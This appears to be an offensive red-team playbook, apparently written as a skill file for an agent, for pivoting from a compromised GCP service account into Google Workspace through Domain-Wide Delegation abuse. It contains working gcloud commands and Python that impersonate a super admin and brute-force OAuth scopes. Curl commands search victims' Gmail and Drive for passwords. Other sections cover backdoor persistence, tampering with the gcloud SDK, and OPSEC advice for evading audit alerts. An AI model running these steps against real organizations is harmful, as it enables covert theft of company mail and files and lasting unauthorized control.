GCP to Google Workspace Pivot Methodology
- 攻击大类:C09 Web应用漏洞利用
GCP and Google Workspace belong to the same Google Cloud ecosystem, and the two are deeply bound through IAM and OAuth. Once an attacker holds GCP Service Account or Project access, if the target organization also uses Google Workspace (formerly G Suite), they may pivot from cloud infrastructure into the enterprise productivity suite — gaining direct access to company-wide mail, files, calendars, contacts, and even the admin console.
Why this pivot is so deadly:
- Massive blast radius: a Service Account with Domain-Wide Delegation (DWD) configured can impersonate any user in the organization
- Privilege escalation with no user interaction: DWD abuse requires no interaction or confirmation from the target user; the impersonated user is completely unaware
- Extremely high data value: corporate mail (Gmail), shared files (Drive), meeting schedules (Calendar), and the org chart (Admin Directory) are all reachable
- Stealthy attack path: accessing Workspace APIs with OAuth Tokens generated by a Service Account differs from a direct user login, and many organizations lack monitoring for this kind of access
Further Reading
Once you have identified the concrete Workspace post-exploitation scenario, load the reference document for the full technical details:
- Post-exploitation operations and persistence techniques for each Workspace service (Gmail/Drive/Calendar/Admin Directory/Chat) → read references/workspace-post-exploit.md
Core Concept: Domain-Wide Delegation (DWD)
What Is DWD
Domain-Wide Delegation is a Google Workspace feature that allows a GCP Service Account to access Google APIs on behalf of any user inside the Workspace domain. Its workflow:
1. The Service Account signs a JWT with its private key (declaring the user to impersonate and the requested OAuth scope)
2. The JWT is sent to the Google OAuth 2.0 service to request an Access Token
3. After verifying the DWD configuration, Google returns an Access Token (acting as the target user)
4. Use that Token to call Google APIs (Gmail/Drive/Calendar, etc.), operating as the target user
Why DWD Is Dangerous
- Configuring DWD only requires the OAuth Client ID and OAuth scopes of the Service Account, and binds to no specific user
- Once configured, the SA can impersonate any user in the domain, including the Super Admin
- DWD configuration can only be managed manually in the Admin Console, and its history cannot be audited via API
- Many organizations configure DWD for automated workflows but never apply least-privilege restrictions
Prerequisites for DWD Abuse
| Condition | Description |
|---|---|
| You hold the SA private key or can create a new key | iam.serviceAccountKeys.create permission |
| The SA already has DWD configured | Its Client ID has been authorized in the Admin Console |
| You know at least one valid Workspace user email | Used for impersonation; a Super Admin works best |
| The SA is authorized with useful OAuth scopes | Such as Gmail, Drive, Admin Directory, etc. |
Attack Chain: Discover and Exploit DWD
Step 1: Enumerate Service Accounts in GCP Projects
# List all Service Accounts in the current project
gcloud iam service-accounts list --project <project-id>
# Enumerate all accessible projects
for proj in $(gcloud projects list --format="value(projectId)"); do
echo "=== Project: $proj ==="
gcloud iam service-accounts list --project "$proj" \
--format="table(email,displayName,disabled)" 2>/dev/null
done
Step 2: Inspect the SA's Keys and Permissions
# List the existing keys of the SA
gcloud iam service-accounts keys list \
--iam-account <sa-email> \
--format="table(name,validAfterTime,validBeforeTime,keyType)"
# Check the current user's permissions on the SA (can it create keys?)
gcloud iam service-accounts get-iam-policy <sa-email>
# Create a new key (if permitted)
gcloud iam service-accounts keys create ./sa-key.json \
--iam-account <sa-email>
Step 3: Identify DWD Configuration
DWD configuration cannot be queried directly through the GCP API and must be inferred indirectly:
# Get the OAuth2 Client ID of the SA (the unique identifier used in DWD configuration)
gcloud iam service-accounts describe <sa-email> \
--format="value(oauth2ClientId)"
# Brute-force approach: use the SA key to attempt generating a delegated token
# If it succeeds, the SA has DWD configured
Automated discovery: the DeleFriend tool can bulk-enumerate all SAs and try various OAuth scope combinations to discover DWD configurations.
Step 4: Generate a Delegated Token and Impersonate a User
from google.oauth2 import service_account
import google.auth.transport.requests
# Target OAuth scopes (choose as needed)
SCOPES = [
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group.readonly',
]
# Load the SA credentials and set the delegated user
credentials = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=SCOPES
)
# Impersonate the target user (a Super Admin works best)
delegated_creds = credentials.with_subject('admin@target-org.com')
# Obtain the Access Token
request = google.auth.transport.requests.Request()
delegated_creds.refresh(request)
print(f"Access Token: {delegated_creds.token}")
# Call the API with the generated token
TOKEN="<previous-step token>"
# Test Gmail access
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=5"
# Test Drive access
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?pageSize=10"
Step 5: Try OAuth Scopes in Bulk
When you are unsure which scopes the SA was authorized with, try them one by one:
"""Try different OAuth scope combinations to discover the SA's DWD permission scope"""
from google.oauth2 import service_account
import google.auth.transport.requests
SCOPE_LIST = [
'https://mail.google.com/',
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group',
'https://www.googleapis.com/auth/admin.directory.domain',
'https://www.googleapis.com/auth/cloud-platform',
'https://www.googleapis.com/auth/contacts.readonly',
'https://www.googleapis.com/auth/chat.messages.readonly',
]
for scope in SCOPE_LIST:
try:
creds = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=[scope]
)
delegated = creds.with_subject('admin@target-org.com')
delegated.refresh(google.auth.transport.requests.Request())
print(f"[+] Valid scope: {scope}")
except Exception as e:
print(f"[-] Invalid scope: {scope} ({e})")
Decision Tree: GCP Access → Workspace Pivot Path
What is your current GCP access level?
├─ You hold the SA private key file
│ ├─ SA has DWD configured → directly generate a delegated token and impersonate any user
│ └─ SA has no DWD → check other SAs / try creating a new DWD (requires Workspace Admin)
│
├─ You can create SA keys (iam.serviceAccountKeys.create)
│ ├─ Enumerate all SAs → create a key for each SA → try DWD
│ └─ Use DeleFriend for automated enumeration
│
├─ You hold Workspace Super Admin (obtained through GCP privilege escalation)
│ ├─ Create a new SA + configure DWD → full control of Workspace
│ └─ Operate directly through the Admin Console (no DWD required)
│
├─ Ordinary Workspace user credentials
│ ├─ Create a new GCP project → enable APIs → enumerate Workspace
│ ├─ Join open Google Groups → obtain additional GCP permissions
│ └─ gcloud auth login --enable-gdrive-access → access Drive
│
└─ Only GCP project Viewer
└─ Enumerate the SA list → look for exploitable SAs → attempt privilege escalation paths
OAuth Scope Exploitation Quick Reference
High-Value Scope List
| OAuth Scope | Capability | Risk Level |
|---|---|---|
https://mail.google.com/ |
Full read/write on Gmail (including sending) | Critical |
https://www.googleapis.com/auth/gmail.readonly |
Read all mail | High |
https://www.googleapis.com/auth/drive |
Full read/write on Drive | Critical |
https://www.googleapis.com/auth/admin.directory.user |
User management (create/delete users) | Critical |
https://www.googleapis.com/auth/admin.directory.group |
Group management | High |
https://www.googleapis.com/auth/admin.directory.domain |
Domain management | Critical |
https://www.googleapis.com/auth/calendar |
Full read/write on Calendar | Medium |
https://www.googleapis.com/auth/contacts |
Read/write on Contacts | Medium |
https://www.googleapis.com/auth/chat.messages |
Read/write on Chat messages | Medium |
https://www.googleapis.com/auth/cloud-platform |
Full GCP permissions | Critical |
gcloud Credential Hijacking
When you have physical access to a host with a signed-in gcloud session, you can hijack the existing credentials to access Workspace:
# List the authenticated accounts
gcloud auth list
# Re-authenticate with --enable-gdrive-access to extend the scope to Drive
gcloud auth login --enable-gdrive-access
# Access the Drive API with the obtained token
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://www.googleapis.com/drive/v3/files"
Advanced technique: modify CLOUDSDK_SCOPES in google-cloud-sdk/lib/googlecloudsdk/core/config.py to inject an extra OAuth scope (such as https://www.googleapis.com/auth/drive); the next time the user logs in, the token automatically carries that scope.
Workspace Data Theft Quick Reference
→ read references/workspace-post-exploit.md
| Service | Key API | Typical Operation |
|---|---|---|
| Gmail | gmail.googleapis.com/gmail/v1/users/me/messages |
Search/read mail, extract attachments |
| Drive | www.googleapis.com/drive/v3/files |
List/download files, search for sensitive documents |
| Calendar | www.googleapis.com/calendar/v3/calendars |
Read meeting schedules, view attendees |
| Admin Directory | admin.googleapis.com/admin/directory/v1/users |
Enumerate users/groups/domain, modify roles |
| Chat | chat.googleapis.com/v1/spaces |
Read Chat messages |
| Contacts | people.googleapis.com/v1/people/me/connections |
Retrieve the contacts directory |
Quick Data Extraction Commands
TOKEN="<delegated_access_token>"
# Gmail: search for emails containing passwords
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+credential+OR+%E5%AF%86%E7%A0%81"
# Drive: search for sensitive files
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'&fields=files(id,name,mimeType)"
# Admin Directory: enumerate all users
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500"
# Admin Directory: enumerate all groups
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com"
Workspace Persistence Overview
| Technique | Prerequisites | Stealth | Persistence |
|---|---|---|---|
| Create a new DWD configuration | Workspace Super Admin | Medium | Permanent (until manually deleted) |
| Cross-organization DWD | Attacker GCP account + target Super Admin | High | Permanent |
| Gmail forwarding rule | Identity of the impersonated user | Low | Ongoing (until discovered) |
| Gmail filter hiding alerts | Identity of the impersonated user | High | Ongoing |
| OAuth App authorization | User interaction or admin privileges | Medium | Until revoked |
| Delegated mailbox access | User settings or admin privileges | Medium | Until revoked |
| Create a backdoor admin account | Admin Directory write permission | Low | Until discovered |
| App Script scheduled trigger | User interaction | High | Ongoing |
| Modify the gcloud SDK scope | Physical/remote access to the host | High | Until the SDK is updated |
Create a new DWD to achieve persistence:
# 1. Create the SA in an attacker-controlled GCP project
gcloud iam service-accounts create backdoor-sa \
--project <attacker-project>
gcloud iam service-accounts keys create backdoor-key.json \
--iam-account backdoor-sa@<attacker-project>.iam.gserviceaccount.com
# 2. Get the OAuth Client ID of the SA
gcloud iam service-accounts describe \
backdoor-sa@<attacker-project>.iam.gserviceaccount.com \
--format="value(oauth2ClientId)"
# 3. Add the DWD in the target Workspace Admin Console
# https://admin.google.com/ac/owl/domainwidedelegation
# Fill in the Client ID and the required OAuth scopes
# Note: this step can only be done manually and cannot be completed via API
Key finding: the OAuth Client ID of DWD is global, so cross-organization DWD is feasible — an SA in an attacker-controlled GCP project can be configured as the delegated identity of the target Workspace organization. Only Super Admin access to the target Workspace is needed to complete the configuration.
Recommended Tools
| Tool | Purpose | Link/Command |
|---|---|---|
| DeleFriend | Automated DWD discovery and exploitation | github.com/axon-git/DeleFriend |
| DelePwn | Enhanced DeleFriend with domain enumeration, Drive, and Gmail | github.com/n0tspam/delepwn |
| gcpwn | Comprehensive GCP exploitation framework | github.com/NetSPI/gcpwn |
| gcp_delegation.py | GitLab red-team DWD exploitation script | gitlab.com/gitlab-com/gl-security/.../gcp_delegation.py |
| gcp_gen_delegation_token | Generate delegated OAuth tokens | github.com/carlospolop/gcp_gen_delegation_token |
| google-api-python-client | Google API Python SDK | pip install google-api-python-client |
| PaperChaser | Spider/crawl Drive documents | github.com/mandatoryprogrammer/PaperChaser |
OPSEC Notes
Workspace Audit Logs
The Google Workspace Admin Console audit logs record the following operations:
- Admin audit log: creation, deletion, and permission changes on users/groups
- Login audit log: sign-in events (but SA impersonation does not generate login logs)
- Drive audit log: file views, downloads, sharing, and permission changes
- Gmail audit log: delegated access and mail rule changes
- Token audit log: OAuth Token grants and revocations
- SAML audit log: SSO-related events
High-Risk Alert Triggers
| Action | Alert Severity | Description |
|---|---|---|
| Create a new admin user | High | Admin audit log + email notification |
| Add a new DWD configuration | Medium | Admin audit log (but many organizations do not monitor it) |
| High volume of API calls | Medium | Anomalous traffic detection |
| Token use across different geolocations | Low | SA tokens usually have no geographic restriction |
| Gmail forwarding rule changes | High | Security alerts are pushed to the user's phone |
| OAuth App authorization | Medium | Depends on organizational policy |
OPSEC Recommendations
- Impersonate the SA instead of logging in as a user: tokens generated by the SA through DWD do not trigger user sign-in alerts
- Control the API call rate: avoid a burst of requests that trips anomaly detection
- Prefer read-only scopes:
readonlyscopes generate fewer audit entries than read-write scopes - Choose the impersonation target carefully: you do not have to impersonate the Super Admin, and activity from an ordinary user attracts less attention
- Handle Gmail operations with care: creating forwarding rules or filters triggers security alerts pushed to the user's phone
Cross-References
- Refer to the
gcp-pentestingskill for the overall GCP attack workflow and initial access methods - Refer to the
gcp-exploitskill for GCP privilege escalation and Service Account exploitation techniques